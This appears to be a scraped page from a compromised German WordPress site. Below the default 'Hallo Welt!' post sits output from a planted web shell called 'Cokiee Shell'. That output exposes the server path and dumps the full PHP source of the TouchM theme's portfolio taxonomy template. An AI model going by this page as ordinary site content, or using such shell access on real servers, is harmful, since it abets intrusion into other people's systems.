Willkommen bei WordPress. Dies ist dein erster Beitrag. Bearbeite oder lösche ihn und beginne mit dem Schreiben!
Hallo Welt!
von raredesign | Dez 3, 2019 | Allgemein | 0 Kommentare
Cokiee Shell
Current Path : /var/www/web432/html/wp-content/themes/touchm/ |
Current File : //var/www/web432/html/wp-content/themes/touchm/taxonomy-portfolio_category.php |
<?php get_header(); //global $paged; $term = get_term_by( 'slug', get_query_var( 'term' ), get_query_var( 'taxonomy' ) ); $paged = (get_query_var('paged')) ? get_query_var('paged') : 1; if ( get_query_var('paged') ) { $paged = get_query_var('paged'); } elseif ( get_query_var('page') ) { $paged = get_query_var('page'); } else { $paged = 1; } $pageId = get_page_ID_by_page_template('portfolio-template.php'); $custom = get_post_custom($pageId); $layout = isset ($custom['_page_layout']) ? $custom['_page_layout'][0] : '1'; $items_per_page = isset ($custom['_page_portfolio_num_items_page']) ? $custom['_page_portfolio_num_items_page'][0] : '777'; global $wp_query; $temp = $wp_query; $wp_query= null; $wp_query = new WP_Query(array( 'taxonomy' => 'portfolio_category', 'term' => $term->slug, 'post_type' => 'portfolio', 'posts_per_page'=> $items_per_page, 'paged'=>$paged, 'showposts'=> $items_per_page)); $al_options = get_option('al_general_settings'); $breadcrumbs = $al_options['al_show_breadcrumbs']; $titles = $al_options['al_show_page_titles']; get_template_part('portfolio_header'); ?> <div class="container region4wrap"> <div class="row maincontent"> <div class="twelve columns"> <div class="page_title"> <div class="row"> <div class="four columns"> <h1><?php echo $term->name; ?></h1> </div> <div class="eight columns"> <!-- Portfolio Navigation --> <section id="options"> <ul id="filters" class="option-set right" data-option-key="filter"> <?php $cats = get_post_meta($pageId, "_page_portfolio_cat", $single = true); $MyWalker = new PortfolioWalker2(); $args = array( 'taxonomy' => 'portfolio_category', 'hide_empty' => '0', 'include' => $cats, 'title_li'=> '', 'walker' => $MyWalker, 'show_count' => '1'); $categories = wp_list_categories ($args); ?> </ul> </section> <!-- End Portfolio Navigation --> </div> </div> </div> </div> <div class="twelve columns"> <div class="row"> <?php echo getPageContent($pageId); ?> <div id="container" class="clickable variable-sizes clearfix portfolio-list"> <?php $thumbsize = 'portfolio-3-col'; $videoclass = 'jp-video-filterable'; $videowrapper = 'filterable-3col-videowrap'; $audiowrapper = 'filterable-3col-audiowrap'; $itemsize = 'one-third column'; $itemwidth = '276'; $itemheight = '176'; if ($wp_query->have_posts()): ?> <?php while ($wp_query->have_posts()) : $wp_query->the_post(); $custom = get_post_custom($post->ID); if (isset ($custom['_portfolio_item_size'])) { switch ($custom['_portfolio_item_size'][0]) { case 'three columns': $thumbsize = 'portfolio-4-col'; $videoclass = 'jp-video-filterable-4col'; $videowrapper = 'filterable-4col-videowrap'; $audiowrapper = 'filterable-4col-audiowrap'; $itemsize = 'four columns'; $itemwidth = ' 210'; $itemheight = '150'; break; case 'four columns': $thumbsize = 'portfolio-3-col'; $videoclass = 'jp-video-filterable'; $videowrapper = 'filterable-3col-videowrap'; $audiowrapper = 'filterable-3col-audiowrap'; $itemsize = 'one-third column'; $itemwidth = '290'; $itemheight = '207'; break; case 'six columns': $thumbsize = 'portfolio-2-col'; $videoclass = 'jp-video-filterable-2col'; $videowrapper = 'filterable-2col-videowrap'; $audiowrapper = 'filterable-2col-audiowrap'; $itemsize = 'six columns'; $itemwidth = '450'; $itemheight = '321'; break; } } // Get the portfolio item categories $cats = wp_get_object_terms($post->ID, 'portfolio_category'); if ($cats): $cat_slugs = ''; foreach( $cats as $cat ) {$cat_slugs .= $cat->slug . " ";} endif; ?> <?php if (isset($custom['_portfolio_video_m4v']) && $custom['_portfolio_video_m4v'][0]!='' || isset ($custom['_portfolio_video_ogv'][0]) && $custom['_portfolio_video_ogv'][0]!=''): $renderjs.=' $("#jquery_jplayer_'.get_the_ID().'").jPlayer({ option: {"fullscreen": true}, ready: function () { $(this).jPlayer("setMedia", {'; if ($custom['_portfolio_video_m4v'][0]!=''): $renderjs.= 'm4v: "'.$custom['_portfolio_video_m4v'][0].'",'; endif; if ($custom['_portfolio_video_ogv'][0]!=''): $renderjs.= 'ogv: "'.$custom['_portfolio_video_ogv'][0].'",'; endif; if ($custom['_poster_image'][0]!=''): $renderjs.= 'poster: "'.$custom['_poster_image'][0].'"'; else: $renderjs.= 'poster: "'.get_template_directory_uri().'/images/video.jpg"'; endif; $renderjs.=' }); }, play: function() { // To avoid both jPlayers playing together. $(this).jPlayer("pauseOthers"); }, repeat: function(event) { // Override the default jPlayer repeat event handler if(event.jPlayer.options.loop) { $(this).unbind(".jPlayerRepeat").unbind(".jPlayerNext"); $(this).bind($.jPlayer.event.ended + ".jPlayer.jPlayerRepeat", function() { $(this).jPlayer("play"); }); } else { $(this).unbind(".jPlayerRepeat").unbind(".jPlayerNext"); $(this).bind($.jPlayer.event.ended + ".jPlayer.jPlayerNext", function() { $("#jquery_jplayer_'.get_the_ID().'").jPlayer("play", 0); }); } }, swfPath: "'.get_template_directory_uri().'/js/jplayer", supplied: "ogv, m4v", size: {width: "'.($itemwidth+4).'px",height: "'.$itemheight.'px",cssClass: "'.$videoclass.'"}, cssSelectorAncestor: "#jp_container_'.get_the_ID().'" });'; ?> <div class="element <?php echo $itemsize?> <?php echo $cat_slugs?> singlevideo alpha"> <div class="<?php echo $videowrapper ?>"> <div id="jp_container_<?php the_ID()?>" class="jp-video <?php echo $videoclass ?>"> <div class="jp-type-single"> <div id="jquery_jplayer_<?php the_ID()?>" class="jp-jplayer"></div> <div class="jp-gui"> <div class="jp-video-play"> <a href="javascript:;" class="jp-video-play-icon" tabindex="1"><?php _e('play', 'TouchM')?></a> </div> <div class="jp-interface"> <div class="jp-progress"> <div class="jp-seek-bar"> <div class="jp-play-bar"></div> </div> </div> <div class="jp-current-time"></div> <div class="jp-duration"></div> <div class="jp-controls-holder"> <ul class="jp-controls"> <li><a href="javascript:;" class="jp-play" tabindex="1"><?php _e('play', 'TouchM')?></a></li> <li><a href="javascript:;" class="jp-pause" tabindex="1"><?php _e('pause', 'TouchM')?></a></li> <li><a href="javascript:;" class="jp-stop" tabindex="1"><?php _e('stop', 'TouchM')?></a></li> <li><a href="javascript:;" class="jp-mute" tabindex="1" title="mute"><?php _e('mute', 'TouchM')?></a></li> <li><a href="javascript:;" class="jp-unmute" tabindex="1" title="unmute"><?php _e('unmute', 'TouchM')?></a></li> <li><a href="javascript:;" class="jp-volume-max" tabindex="1" title="max volume"><?php _e('max volume', 'TouchM')?></a></li> </ul> <div class="jp-volume-bar"> <div class="jp-volume-bar-value"></div> </div> <ul class="jp-toggles"> <li><a href="javascript:;" class="jp-full-screen" tabindex="1" title="full screen"><?php _e('full screen', 'TouchM')?></a></li> <li><a href="javascript:;" class="jp-restore-screen" tabindex="1" title="restore screen"><?php _e('restore screen', 'TouchM')?></a></li> <li><a href="javascript:;" class="jp-repeat" tabindex="1" title="repeat"><?php _e('repeat', 'TouchM')?></a></li> <li><a href="javascript:;" class="jp-repeat-off" tabindex="1" title="repeat off"><?php _e('repeat off', 'TouchM')?></a></li> </ul> </div> <div class="jp-title"> <ul> <li><?php the_title()?></li> </ul> </div> </div> </div> <div class="jp-no-solution"> <span><?php _e('Update Required', 'TouchM')?></span> <?php _e('To play the media you will need to either update your browser to a recent version or update your Flash plugin.', 'TouchM')?> </div> </div> </div> </div> </div> <?php elseif (isset($custom['_portfolio_audio_m4a']) && $custom['_portfolio_audio_m4a'][0]!='' || isset($custom['_portfolio_audio_oga']) && $custom['_portfolio_audio_oga'][0]!=''): $renderjs.='$("#jquery_jplayer_'.get_the_ID().'").jPlayer({ ready: function () { $(this).jPlayer("setMedia", {'; if ($custom['_portfolio_audio_m4a'][0]!=''): $renderjs.='m4a: "'.$custom['_portfolio_audio_m4a'][0].'",'; endif; if ($custom['_portfolio_audio_oga'][0]!=''): $renderjs.='oga: "'.$custom['_portfolio_audio_oga'][0].'",'; endif; if (isset ($custom['_poster_image']) && $custom['_poster_image'][0]!=''): $renderjs.='poster: "'.$custom['_poster_image'][0].'"'; else: $renderjs.='poster: "'.get_template_directory_uri().'/images/audio.jpg"'; endif; $renderjs.='}); }, play: function() { // To avoid both jPlayers playing together. $(this).jPlayer("pauseOthers"); }, repeat: function(event) { // Override the default jPlayer repeat event handler if(event.jPlayer.options.loop) { $(this).unbind(".jPlayerRepeat").unbind(".jPlayerNext"); $(this).bind($.jPlayer.event.ended + ".jPlayer.jPlayerRepeat", function() { $(this).jPlayer("play"); }); } else { $(this).unbind(".jPlayerRepeat").unbind(".jPlayerNext"); $(this).bind($.jPlayer.event.ended + ".jPlayer.jPlayerNext", function() { $("#jquery_jplayer_'.get_the_ID().'").jPlayer("play", 0); }); } }, swfPath: "'.get_template_directory_uri().'/js/jplayer", supplied: "m4a, oga", wmode: "window", size: {width: "'.$itemwidth.'px",height: "'.$itemheight.'px",cssClass: "'.$videoclass.'"}, cssSelectorAncestor: "#jp_container_'.get_the_ID().'"});'; ?> <div class="element <?php echo $itemsize ?> <?php echo $cat_slugs?> singlesong alpha"> <div class="<?php echo $audiowrapper ?>"> <div id="jquery_jplayer_<?php the_ID()?>" class="jp-jplayer"></div> <div id="jp_container_<?php the_ID()?>" class="jp-audio <?php echo $videoclass ?>"> <div class="jp-type-single"> <div class="jp-gui jp-interface"> <ul class="jp-controls"> <li><a href="javascript:;" class="jp-play" tabindex="1"><?php _e('play', 'TouchM')?></a></li> <li><a href="javascript:;" class="jp-pause" tabindex="1"><?php _e('pause', 'TouchM')?></a></li> <li><a href="javascript:;" class="jp-stop" tabindex="1"><?php _e('stop', 'TouchM')?></a></li> <li><a href="javascript:;" class="jp-mute" tabindex="1" title="mute"><?php _e('mute', 'TouchM')?></a></li> <li><a href="javascript:;" class="jp-unmute" tabindex="1" title="unmute"><?php _e('unmute', 'TouchM')?></a></li> <li><a href="javascript:;" class="jp-volume-max" tabindex="1" title="max volume"><?php _e('max volume', 'TouchM')?></a></li> </ul> <div class="jp-progress"> <div class="jp-seek-bar"> <div class="jp-play-bar"></div> </div> </div> <div class="jp-volume-bar"> <div class="jp-volume-bar-value"></div> </div> <div class="jp-time-holder"> <div class="jp-current-time"></div> <div class="jp-duration"></div> <ul class="jp-toggles"> <li><a href="javascript:;" class="jp-repeat" tabindex="1" title="repeat"><?php _e('repeat', 'TouchM')?></a></li> <li><a href="javascript:;" class="jp-repeat-off" tabindex="1" title="repeat off"><?php _e('repeat off', 'TouchM')?></a></li> </ul> </div> </div> <div class="jp-title"> <ul> <li><?php the_title()?></li> </ul> </div> <div class="jp-no-solution"> <span><?php _e('Update Required', 'TouchM')?></span> <?php _e('To play the media you will need to either update your browser to a recent version or update your Flash plugin.', 'TouchM')?> </div> </div> </div> </div> </div> <?php else:?> <?php $link = ''; $thumbnail = get_the_post_thumbnail($post->ID, $thumbsize);?> <div class="element <?php echo $itemsize ?> <?php echo $cat_slugs;?>"> <div class="portfolio-item"> <div class="portfolio-item-image image-overlay"> <?php if( !empty ( $custom['_portfolio_video'][0] ) ) : $link = $custom['_portfolio_video'][0]; ?> <a href="<?php echo $link ?>" class="titan-lb" title="<?php the_title(); ?>" data-titan-group="gallery"> <?php if (!empty($thumbnail)): ?><?php the_post_thumbnail($thumbsize, array('class' => 'cover')); ?> <?php else :?><img src="<?php echo get_template_directory_uri()?>/images/picture.jpg" alt="<?php _e ('No preview image', 'TouchM') ?>" /><?php endif?> <span class="overlay-icon item-movie"></span> </a> <?php elseif( isset($custom['_portfolio_link'][0]) && $custom['_portfolio_link'][0] != '' ) : $link = $custom['_portfolio_link'][0]; ?> <a href="<?php echo $link ?>" title="<?php the_title(); ?>"> <?php if (!empty($thumbnail)): ?><?php the_post_thumbnail($thumbsize, array('class' => 'cover')); ?> <?php else :?><img src="<?php echo get_template_directory_uri()?>/images/picture.jpg" alt="<?php _e ('No preview image', 'TouchM') ?>" /><?php endif?> <span class="overlay-icon item-link"></span> </a> <?php elseif( isset( $custom['_portfolio_no_lightbox'][0] ) && $custom['_portfolio_no_lightbox'][0] !='' ) : $link = get_permalink(get_the_ID()); ?> <a href="<?php echo $link; ?>"> <?php if (!empty($thumbnail)): ?><?php the_post_thumbnail($thumbsize, array('class' => 'cover')); ?> <?php else :?><img src="<?php echo get_template_directory_uri()?>/images/picture.jpg" alt="<?php _e ('No preview image', 'TouchM') ?>" /><?php endif?> <span class="overlay-icon item-info"></span> </a> <?php else : $full_image = wp_get_attachment_image_src(get_post_thumbnail_id($post->ID), 'full', false); $link = $full_image[0]; $argsThumb = array( 'order' => 'ASC', 'post_type' => 'attachment', 'post_parent' => $post->ID, 'post_mime_type' => 'image', 'post_status' => null, 'exclude' => get_post_thumbnail_id() ); ?> <a href="<?php echo $link; ?>" title="<?php the_title(); ?>" class="titan-lb" data-titan-group="gallery"> <?php /*$attachments = get_posts($argsThumb); if ($attachments) { foreach ($attachments as $attachment) { echo '<a href="'.wp_get_attachment_url($attachment->ID, 'full', false, false).'" class="gallery-hidden" data-rel="prettyPhoto[ppgal'.$post->ID.']" title="'.get_the_title($post->ID).'"></a>'; } }*/ ?> <?php if (!empty($thumbnail)): ?><?php the_post_thumbnail($thumbsize, array('class' => 'cover')); ?> <?php else :?><img src="<?php echo get_template_directory_uri()?>/images/picture.jpg" alt="<?php _e ('No preview image', 'TouchM') ?>" /><?php endif?> <span class="overlay-icon item-zoom"></span> </a> <?php endif; ?> </div> <div class="portfolio-item-content"> <h5 class="title"><a href="<?php echo $link?>"><?php the_title()?></a> </h5> <?php $terms = get_the_terms( $post->ID, 'portfolio_category' ); if ( $terms && ! is_wp_error( $terms ) ) : $category_links = array(); foreach ( $terms as $term ) { $category_links[] = $term->name; } $on_draught = join( " / ", $category_links ); echo '<p>'.$on_draught.'</p>'; endif; ?> </div> </div> </div> <?php endif?> <?php endwhile; ?> <?php endif?> </div> <?php if ( $wp_query->max_num_pages > 1 ): ?> <div class="ten columns"> <?php include(TouchM_PLUGINS . '/wp-pagenavi.php' ); wp_pagenavi(); ?> <div class="clear"></div> </div> <?php endif?> <div class="clear"></div> </div> </div> <?php get_template_part('portfolio_footer'); ?> <script type="text/javascript"> jQuery(window).load(function(){ jQuery(".image-overlay .overlay-icon").fadeTo('slow', 0); // This sets the opacity of the thumbs to fade down to 60% when the page loads var $container = jQuery('#container'); jQuery(".image-overlay .overlay-icon").fadeTo('slow', 0); // This sets the opacity of the thumbs to fade down to 60% when the page loads $container.isotope({ itemSelector : '.element', // disable resizing resizable: false, // set columnWidth to a percentage of container width masonry: { columnWidth: $container.width() / 12 }, }); jQuery(window).smartresize(function(){ $container.isotope({ // set columnWidth to a percentage of container width masonry: {columnWidth: $container.width() / 12} }); }); <?php echo $renderjs;?> }); </script> <?php get_footer() ?>
Cokiee Shell Web 1.0, Coded By Razor
Neueste Kommentare